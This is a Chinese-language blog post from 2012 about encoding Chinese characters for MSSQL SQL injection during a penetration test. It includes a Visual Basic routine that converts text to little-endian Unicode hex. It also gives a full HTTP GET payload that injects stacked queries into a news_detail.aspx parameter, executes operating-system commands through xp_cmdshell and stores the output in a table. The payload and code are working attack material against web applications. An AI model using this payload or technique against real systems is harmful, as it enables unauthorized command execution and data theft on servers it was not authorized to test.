MSSQL隱碼攻擊時對中文字元的處理方法

evancss發表於2012-08-20

在一次滲透測試過程中發現對方的網站根目錄用的是中文,使用Pangolin測試時,發現類似“dir c:\中文路徑”這種cmd命令執行總是出錯,後來用BurpSuite對傳送的資料包進行分析,發現Pangolin使用了一種類似URLEncode的編碼方式對中文進行編碼。

如“中文路徑”被其編碼成為:

0xd600d000ce00c400c200b700be00b600

很明顯,這裡每個中文字元被拆分成了兩個雙位元組且均以00結尾,不符合Unicode的規則,如果是Unicode編碼的話,每個中文應當佔用2個位元組,不應有00出現。

看來Pangolin對中文的處理有問題,不過我沒辦法修改它的二進位制程式碼,只能自己做一個編碼程式,然後配合BurpSuite把滲透測試工作執行下去。下面是處理編碼的一個小程式中的核心程式碼,在Visual Basic 2010 Express Edition編譯通過。

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim strOut As String = ""
        For i = 1 To Len(TextBox1.Text)  '逐個遍歷傳入的字元
            Dim strChar As String = ""
            strChar = Hex(AscW(Mid(TextBox1.Text, i, 1)))  '將當前字元轉為16進製表示的Unicode編碼
            If Len(strChar) = 2 Then     '如果是ASCII字元,在其後加上00
                strChar = strChar + "00"
            Else
                strChar = Mid(strChar, 3, 2) + Mid(strChar, 1, 2)   '將該編碼高低位互換(否則MSSQL解析錯誤)
            End If
            strOut = strOut + strChar
        Next
        TextBox2.Text = "0x" + strOut.ToLower
End Sub

使用該程式對漢字“中文路徑”進行編碼後,結果如下:

0x2d4e8765ef8d845f
 

在Pangolin中設定BurpSuite代理,使用BurpSuite把Pangolin傳送的資料包中@z=??的問號部分替換為自己計算的字元編碼即可得到想要的結果。

GET /news_detail.aspx?newsid=3941%20;declare%20@z%20nvarchar(4000)%20set%20@z=??%20insert%20into%20[pangolin_test_table](resulttxt)%20exec%20master.dbo.xp_cmdshell%20@z;alter%20table%20[pangolin_test_table]%20add%20id%20int%20not%20null%20identity%20(1,1)-- HTTP/1.1

相關文章